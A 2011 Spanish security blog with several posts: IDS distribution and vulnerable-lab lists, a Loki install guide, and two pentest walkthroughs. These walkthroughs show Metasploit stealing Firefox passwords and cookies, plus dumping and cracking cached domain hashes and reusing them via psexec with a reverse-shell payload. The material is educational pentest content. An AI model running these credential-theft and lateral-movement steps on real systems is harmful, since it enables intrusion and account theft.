miércoles, 23 de marzo de 2011

Top de Distribuciones Linux para Monitoreo de Seguridad y Redes


Insta-Snorby

Este appliance está diseñado para aquellos usuarios que desean probar Snorty (un nuevo front-end para Snort IDS) o que necesitan tener instalado de forma rápida y simple un sensor de Snort.

El appliance contiene lo siguiente:

  • Snort 2.9.0.3 – La última versión del popular Sistema de Detección de Intrusiones.
  • Barnyard 2.19 – Una aplicación que decifra los logs unified2 de Snort y los almacena en la base de datos de Snorby.
  • Snorby 2.2.1 – El front-end para el IDS Snort
  • OpenFPC – Monitoreo y captura completa de paquetes.
  • Pulled Pork 0.5 – Administrador de actualizaciones de reglas IDS

El proceso de instalación lo guiará a través de la configuración del servidor MySQL y le solicitará ingresar su "Oinkcode" el cual le permitirá descargar de forma automática las últimas reglas VTR (las firmas que potencian el IDS) desde el sitio web de Sourcefire. Las reglas Emerging Threat (otras reglas conocidas para IDS) ya se encuentran descargadas y habilitadas.




Smooth-Sec

Smooth-Sec es una distribución Linux IDS/IPS (Intrusion Detection/Prevention System) lista para correr, se encuentra basado en el motor multi-thread Suricata IDS/IPS y en Snorby. Smooth-Sec está construido sobre Ubuntu 10.04 LTS utilizando la base TurnKey Core como plataforma de desarrollo. La funcionalidad es el punto clave que permite implementar un completo sistema IDS/IPS y tenerlo listo en cuestion minutos. Muy fácil de usar para novatos en seguridad con poca experiencia en Linux.




Siem-live

SIEM-live es un sistema SIEM (Security Information and Event Management)listo para correr, basado en herramientas Open Source y Debian-live. Para recolectar los eventos ustiliza Suricata IDS/IPS, syslog como correlacionador central, OpenVAS para el análisis de vulnerabilidades y muchas otras herramientas. Las alertas y los eventos son almacenados y analizados en SIEM Prelude, también open Source. Los resultados serán accesibles a través de la interfaz web Prewikka.

SIEM-live en un live-CD booteable, el cual proporciona un sistema completamente funcional sin requerir configuraciones adicionales. También puede soportar cambios persistentes, o ser instalado en disco duro o en un dispositivo USB.

Su objetivo es proporcionar una forma fácil de implementar y probar un sistema SIEM, y poder ver rápidamente lo que está sucediendo en una red y concentrase en tratar de detectar patrones de alto nivel con la correlación de eventos. De igual forma se incluirán herramientas de visualización y generación de reportes en un futuro cercano.




Security Onion LiveDVD

Security Onion LiveDVD es un DVD bootable que contiene software utilizado para instalar, configurar y probar Sistemas de Detección de Instrusiones. Está basado en Xubuntu 10.04 y contiene Snort, Suricata, Sguil, Squert, Xplico, Nmap, Metasploit, Armitage, Scapy, Hping, Netcat, tcpreplay y muchas otras herramientas de seguridad.




Network Security Toolkit

Network Security Toolkit (NST) es un LiveCD basado en Linux que proporciona un conjunto de herramientas open source para realizar rutinas de diagnóstico en seguridad de redes y tareas de monitoreo. La distribución puede ser utilizada como una herramienta de análisis, validación y monitoreo en servidores que hospedan máquinas virtuales. 

Otras características incluyen visualizaciones de datos de Ntop, Wireshark, Traceroute y Kismet mediante la geolocalización de direcciones de host, conversación de direcciones IPv4, datos de traceroute y puntos de acceso inalámbrico que se muestran a través de Google Earth o mediante una imagen de Mercator World Map, también incluye un sistema de captura y de análisis de protocolos basado en navegador con capacidad de monitorear hasta 4 interfaces de red utilizando Wireshark, al igual que un sistema de detección de intrusiones basado en Snort con un backend colector que almacena incidentes en una base de datos MySQL.




EasyIds

EasyIDS es una distribución IDS (Intrusion Detection System) open source basada en Snort. Construida sobre CentOS y administrable a través de una interfaz web, EasyIDS deja a un lado el dolor y las frustraciones a la hora de implementar un sistema de detección de intrusiones.

Diseñado para el novato en seguridad de redes con poca experiencia en Linux, EasyIDS puede convertir casi cualquier sistema estandar x86 en un sistema de detección de intrusiones completamente funcional en tan solo 15 minutos. EasyIDS minimiza los costos de implementación y mantenimiento en seguridad de la red sin comprometer la funcionalidad y el desempeño.



Source

viernes, 4 de marzo de 2011

Obtención de contraseñas almacenadas en Firefox con Metasploit

Este módulo recolecta la credenciales que se encuentren almacenadas en el navegador Firefox si este se encuentra instalado en la máquina objetivo. Adicionalmente, descarga las cookies almacenadas, lo cual permite portencialmente establecer sesiones web válidas.

Firefox almacena las contraseñas en el archivo de base de datos signons.sqlite. También existe un archivo keys3.db el cual contiene la llave para decifrar estas contraseñas. En los casos donde la víctima no ha establecido una Contraseña Maestra, las contraseñas pueden ser decifradas fácilmente utilizando otras herramientas. Pero si Firefox tiene establecida una Contraseña Maestra, la única opción es utilizar ataques de fuerza bruta.


=[ metasploit v3.6.0-beta [core:3.6 api:1.0]
+ -- --=[ 647 exploits - 340 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11875 updated today (2011.03.04)

msf > exit
fahrenheit:msf3 bannedit$ ruby msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.6.0-beta [core:3.6 api:1.0]
+ -- --=[ 647 exploits - 340 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11875 updated today (2011.03.04)

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started bind handler
[*] Starting the payload handler...
msf exploit(handler) > 
[*] Sending stage (749056 bytes) to 192.168.0.104
[*] Meterpreter session 1 opened (192.168.0.108:57997 -> 192.168.0.104:4444) at 2011-03-04 16:12:36 -0500
msf exploit(handler) > use post/multi/gather/firefox_creds 
msf post(firefox_creds) > set SESSION 1
SESSION => 1
msf post(firefox_creds) > run
[*] We do not have SYSTEM checking bannedit account for Firefox
[*] Checking for Firefox directory in: C:\Users\bannedit\AppData\Roaming\Mozilla\
[*] Found Firefox installed
[*] Locating Firefox Profiles...

[+] Found Profile p5g3cgsg.default
[+] Downloading cookies.sqlite file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading cookies.sqlite-journal file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading key3.db file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading signons.sqlite file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading signons3.txt file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[*] Post module execution completed

W00t!

jueves, 3 de marzo de 2011

Cachedump para Meterpreter en Acción

1. Descargar:
wget http://lab.mediaservice.net/code/cachedump.rb

2. Guardar en el directorio de Metasploit (Backtrack):
mv cachedump.rb  /pentest/exploits/framework3/modules/post/windows/gather

3. Cargar la consola, hackear algo y obtener privilegios de SYSTEM, luego:
meterpreter > run post/windows/gather/cachedump
[*] Executing module against WORKSTATION244
[*] Obtaining the boot key...
[*] Trying 'XP' style...
[*] Getting PolSecretEncryptionKey...
[*] XP compatible client
[*] Lsa Key: 29249a6480f428cb6dacba2d30d5292c
[*] Getting LK$KM...
[*] Dumping cached credentials...
Username             : jdoe
Hash                 : 592cdfbc3f1ef77ae95c75f851e37166
Last login           : 2010-05-11 01:43:48
DNS Domain Name      : CONTOSO.CO
Effective Name       : jdo
Full Name            : eJane Do
User ID              : 1107
Primary Group ID     : 513
Additional groups    : 33620069 33554432 34013184
Logon domain name    : CONTOS
----------------------------------------------------------------------
[*] John the Ripper format:
jdoe:592cdfbc3f1ef77ae95c75f851e37166:CONTOSO.CO:CONTOS
[*] Hash are in MSCACHE format. (mscash)
meterpreter >

4. Romperla:
cat lab.dic | ./john --stdin lab.mscash --format=mscash --pot=lab.pot
Loaded 1 password hash (M$ Cache Hash [Generic 1x])
ASDqwe123        (jdoe)
guesses: 1  time: 0:00:00:00  c/s: 500  trying: ASDqwe123

5. Usarla:
meterpreter > background
msf exploit(handler) > route add 10.10.10.0 255.255.255.0 1
msf exploit(handler) > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST X.X.X.X
LHOST => X.X.X.X
msf exploit(psexec) > set LPORT 80
LPORT => 80
msf exploit(psexec) > set SMBDomain Contoso

SMBDomain => Contoso
msf exploit(psexec) > set SMBUser jdoe
SMBUser => jdoe
msf exploit(psexec) > set SMBPass ASDqwe123
SMBPass => ASDqwe123
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST                       yes       The target address
   RPORT      445              yes       Set the SMB service port
   SMBDomain  Contoso          no        The Windows domain to use for authentication
   SMBPass    ASDqwe123        no        The password for the specified username
   SMBUser    jdoe             no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST     X.X.X.X          yes       The listen address
   LPORT     80               yes       The listen port
 
Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > set RHOST 10.10.10.200
RHOST => 10.10.10.200
msf exploit(psexec) > exploit

[*] Started reverse handler on X.X.X.X:80
[*] Connecting to the server...
[*] Authenticating to 10.10.10.200:445|Contoso as user 'jdoe'...
[*] Uploading payload...
[*] Created \jSlxARUj.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.200[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.200[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (SyHtwKpn - "MbEXNupOpYUL")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \jSlxARUj.exe...
[*] Meterpreter session 2 opened (X.X.X.X:80 -> X.X.X.X:54430) at Mon Feb 14 22:23:00 +0000 2011

Woot ;-)

Cross-posted translation from Room362

viernes, 25 de febrero de 2011

Aplicaciones/Servidores para laboratorios de Pentest

En este post voy a presentar algunos recursos útiles para aprender sobre pruebas de penetración y donde utilizar las técnicas y herramientas de explotación en un ambiente legal y seguro. Esta lista contiene un conjunto de LiveCDs y máquinas virtuales deliberadamente inseguras, diseñadas para ser utilizadas como objetivos de ataques de enumeración, explotación web, rompimiento de contraseñas e ingeniería inversa.


Holynix
Similar a los CD's de De-ICE y pWnOS, Holynix es una imagen VMWare de un servidor Ubuntu, construida deliberadamente para tener huecos de seguridad para los propósitos de pruebas de penetración. Es mas una pista de obstáculos que un ejemplo del mundo real.


WackoPicko
WackoPicko es un sitio web que contiene vulnerabilidades conocidas. Fué utilizado inicialmente para la elaboración del paper Why Johnny Can't Pentest: Un análisis de Scanners de Vulnerabilidades Web de Caja Negra.


De-ICE PenTest LiveCDs
Estos LiveCD's son la creación de Thomas Wilhem, quien fue transferido a un equipo de pruebas de penetración en la compañía para la cual trabajaba. En la necesidad de aprender tanto sobre pentesting como le fuera posible, Thomas empezó a buscar tanto herramientas como objetivos. El encontró algunas herramientas pero no encontró objetivos que pudiera utilizar como práctica. Eventualmente, en un intento de reducir la brecha de aprendizaje, Thomas creó escenarios de pentesting utilizando LiveCD's.


Metasploitable
Metasploitable es una imagen VMWare 6.5 de un servidor Ubuntu 8.04. Se han incluido varios paquetes vulnerables, incluyendo una instalación de Tomcat 5.5. (con credenciales débiles), distcc, tikiwiki y un servidor MySQL desactualizado.


Owaspbwa
OWASP Broken Web Applications Project, una colección de aplicaciones web vulnerables.


Web Security Dojo
Un ambiente auto-contenido Open Source, para entrenamiento en pruebas de penetración de seguridad de aplicaciones web. Herramientas + Objetivos = Dojo


Lampsecurity
El entrenamiento LAMPSecurity se encuentra diseñado en series de imágenes de máquinas virtuales vulnerables junto con documentación complementaria diseñada para enseñar seguridad en Linux, Apache, PHP y MySQL.


Damn Vulnerable Web App (DVWA)
Damn Vulnerable Web App (Maldita Aplicacion Web Vulnerable) es en realidad una maldita aplicación PHP/MySQL vulnerable. Sus principales objetivos consisten en ser ayuda para que los profesionales de seguridad prueben sus habilidades y herramientas en un entorno legal, tambien para ayudar a los desarrolladores web a entender mejor los procesos de aseguramiento de las aplicaciones web y ayudar a los estudiantes/maestros en el aprendizaje de seguridad web en los ambientes del salón de clase.


Hacking-Lab
Este es el proyecto Hacking-Lab LiveCD. Se encuentra actualmente en versión beta. El liveCD es un ambiente cliente estandarizado para solucionar los retos del wargame Hacking-Lab mediante acceso remoto.


Moth
Moth es una imagen VMWare con un conjunto de aplicaciones y scripts web vulnerables


Damn Vulnerable Linux (DVL)
Damn Vulnerable Linux  es todo lo que una distribución Linux no es. Sus desarrolladores han invertido horas llenándola con software dañado, desactualizado, mal configurado y explotable, lo que la hace vulnerable a ataques. DVL no esta construida para correr en un sistema real, es una herramienta de aprendizaje para estudiantes de seguridad.


pWnOS
pWnOS también es una imagen VMWare, la cual crea un objetivo con el cual practicar pruebas de penetración; su objetivo final es lograr obtener la cuenta principal de administración (root). Ha sido diseñada para practicar utilizando exploits, con múltiples puntos de entrada. Video.


Virtual Hacking Lab
Un espejo de aplicaciones deliberadamente inseguras y programas desactualizados con vulnerabilidades conocidas. Utilizado para porpósitos de pruebas de concepto y entrenamientos en seguridad. Se encuentra disponible tanto en formatos standalone, imágenes virtuales e imágenes Live-ISO.


Badstore
Badstore.net se encuentra dedicado a ayudarnos a entender como los hackers aprovechan las vulnerabilidades de las palicaciones web y mostrarnos como reducir su exposición.


Katana
Katana es una suite de seguridad de multiple arranque (multi-boot) la cual ofrece muchas de las actuales y mejores distribuciones de seguridad y aplicaciones portables para ser utilizadas desde un dispositivo removible USB. Incluye distribuciones que se enfocan en Pen-Testing, Auditoría, Análisis Forense, Recuperacion de Datos, Análisis de Red y Remoción de Malware. Katana tambien contiene mas de 100 aplicaciones Windows portables; tales como Wireshark, Metasploit, NMAP, Cain & Able y muchas mas.

domingo, 20 de febrero de 2011

Hackers que convierten sitios web al lado oscuro

Tres familias de malware que abusan de la confianza de los usuarios en sitios web "seguros".

Los hackers rastreados por el fabricante de software antivirus Avast! han infectado los sistemas de aproximadamente cinco millones de usuarios que han visitado sitios web que consideraban como seguros.

"El peligro se encuentra en aquellos lugares conocidos y de confianza, esos que se visitan todos los días como parte de una rutina diaria, como el café que tomamos en la mañana", dijo Jiri Sejtko, analista senior de virus en Avast!.

"La gente nos envía denuncias sobre detecciones de falsos positivos, e incluso desactivan la protección de su antivirus para poder realizar sus actividades, luego se arrepienten de haberlo hecho."

Los tres tipos de malware que Avast! cree que hacen parte del "fenómeno de confianza" incluyen la familia III, Kroxxu y JS: Prontexi.

Todos son tecnológicamente diferentes, pero son muy eficaces para atrapar a los usuarios desprevenidos.

"Los chicos malos se mueven en ciclos, la creación de nuevas variantes con el conocimiento adquirido de las generaciones anteriores", agregó Sejtko.

"Cuando llegue un mensaje de alerta de su programa antivirus, no lo ignore."


lunes, 7 de febrero de 2011

Ataques de Ejecución Automática (Autorun) en Linux

Muchas personas piensan que Linux es inmune a los ataques de tipo de ejecución automática (Autorun) que han plagado con malware los sistemas Windows en los últimos años. Sin embargo, han habido muchos avances en la usabilidad de Linux como sistema operativo de escritorio, incluyendo la adición de funcionalidades que pueden permitir ataques de ejecución automática.

Esta presentación realizada en ShmooCon 2011 el pasado 30 de enero, por Jon Larimer de IBM X-Force, inicia con una definición de las vulnerabilidades de autorun y algunos ejemplos en Windows para luego saltar a mostrar el lado Linux de las cosas.

Larimer explica cómo los atacantes pueden abusar de estas funcionalidades para obtener acceso a un sistema en vivo utilizando una unidad flash USB. También muestra cómo USB, como una plataforma de explotación, puede permitir eludir fácilmente los mecanismos de protección como ASLR y cómo estos ataques pueden proporcionar un nivel de acceso que otros métodos de ataque físico no hacen.

La charla concluye con los pasos que los distribuidores de Linux y los usuarios finales pueden tomar para proteger los sistemas contra esta amenaza y evitar una ola de ejecución de malware en Linux.




Tomado de Help Net Security

jueves, 3 de febrero de 2011

Explotación de Redes con Loki en Backtrack R2

Loki es una impresionante herramienta de manipulación de redes a nivel de capa 2/3 creada por Daniel Mende, René Graf y Enno Rey de ERNW. Esta herramienta fué presentada el año pasado durante la realización de BlackHat 2010 (diapositivas aquí). Loki replica parte de la funcionalidad de Yersinia, pero lo hace en un paquete mucho más útil al tiempo que añade soporte para un montón de nuevos protocolos que se encuentran comúnmente en las redes corporativas (protocolos inseguros y vulnerables existentes en muchas redes empresariales).

En este post nos enfocaremos en cómo utilizar con eficacia la poderosa herramienta Loki para aprovechar las fallas de red comunes.


Introducción a Loki:

Loki provee una interfaz gráfica de usuario (GUI) para realizar múltiples ataques a protocolos, permitiéndonos manipular protocolos de red para realizar ataques MITM (Man-In-The-Middle) y otras actividades maliciosas. Los protocolos soportados son:

  • ARP
  • HSRP, HSRPv2
  • RIP
  • BGP
  • OSPF
  • EIGRP [aun no funciona por cuestiones legales]
  • WLCCP [aun no funciona por cuestiones legales]
  • VRRP, VRRPv3
  • BFD (Protocolo de Reenvio Bidireccional)
  • LDP (Protocolo de Diustribución de Etiquetas)
  • MPLS (re-etiquetado, interfaz de tunel)



Con una interfaz bastante fácil de usar, Loki se convierte en una herramienta preferida para la explotación de muchos de estos protocolos, pero más que esto, ofrece una interfaz fiable para la explotación de protocolos que no estan soportados por otras herramientas. Ahora disponemos de una herramienta para inyectar y manipular rutas en entornos OSPF, incluyendo una interfaz para configurar un ataque de diccionario (rápido) en modo offline para MD5.

Desafortunadamente el paquete de Loki aun no se encuentra en los repositorios oficiales de Backtrack,  pero podemos instalarlo de forma manual, en unos sencillos pasos, en cualquier implementación de Backtrack 4 R2 existente (incluyendo máquinas virtuales):

Update 02-07-2011:
Ya se encuentran disponibles paquetes .deb para instalar en Backtrack 4 R2 en la página de Loki


Instalación de Loki:

Para instalar Loki en Backtrack 4 R2 necesitaremos instalar algunos paquetes adicionales, y aplicar un parche al código fuente para hacer que Loki sea compatible con el interprete de Phyton 2.5 incluido en Backtrack 4. Primero, instalaremos varios paquetes requeridos desde el repositorio oficial de Backtrack:

root@bt:~# apt-get update
root@bt:~# apt-get install autoconf automake autotools-dev python-ipy python-libpcap

A continuación, descargaremos el código fuente de Loki y el parche para hacerlo compatible en Backtrack 4 R2. el paquete ya disponible para Backtrack 4 R2.

root@bt:~#wget https://www.c0decafe.de/loki/backtrack4-r2/loki_0.2.5-1_i386.deb


Luego, necesitaremos borrar un módulo de Python que viene incluido pro defecto en Backtrack pero genera conflicto con el módulo python-libpcap requerido por Loki:

root@bt:~#apt-get remove python-pypcap


Ahora debemos descomprimir el paquete y aplicamos el parche instalar el paquete como se muestra a continuación:

root@bt:#dpkg -i loki_0.2.5-1_i386.deb


No fue tan dificil!. Ahora podemos configurar el ambiente de desarrollo para compilar Loki y luego instalarlo:


Utilizando Loki:

Ahora que tenemos Loki instalado en nuestro sistema, podemos ponerlo en uso. Despues de invocar Loki (con el comando loky.py desde la shell), hacemos click sobre el boton de la esquina superior izquierda para invocar la funcionalidad de sniffing de paquetes. A medida que Loki husmea en la red, identificará los protocolos soportados que puede atacar mostrando un parpadeo en la pestaña correspoondiente al protocolo específico. De lo contrario, podremos navegar en las otras pestañas, tales como la pestaña ARP, y hacer click para activar la funcion de análisis (Network Scan) para descubrir objetivos de ataque, tal como se muestra en la siguiente figura:




La funcionalidad de Loki en verdad impresiona, funciona muy bien en la ejecución de actividades de pruebas de penetración (Pentesting) y aunque presenta algunas pocas fallas, estas pueden corregirse fácilmente editando algunos archivos de Python

Un agradecimiento especial para Daniel, Enno y René ({rgraf, dmende, erey}@ernw.de) por poner Loki a disposición de la Comunidad de Software Libre. Los autores de las herramientas no reciben el agradecimiento suficiente por su arduo trabajo, así que por favor consideremos dejar una nota y agradecerles por esta contribución a nuestro arsenal de herramientas de ataque.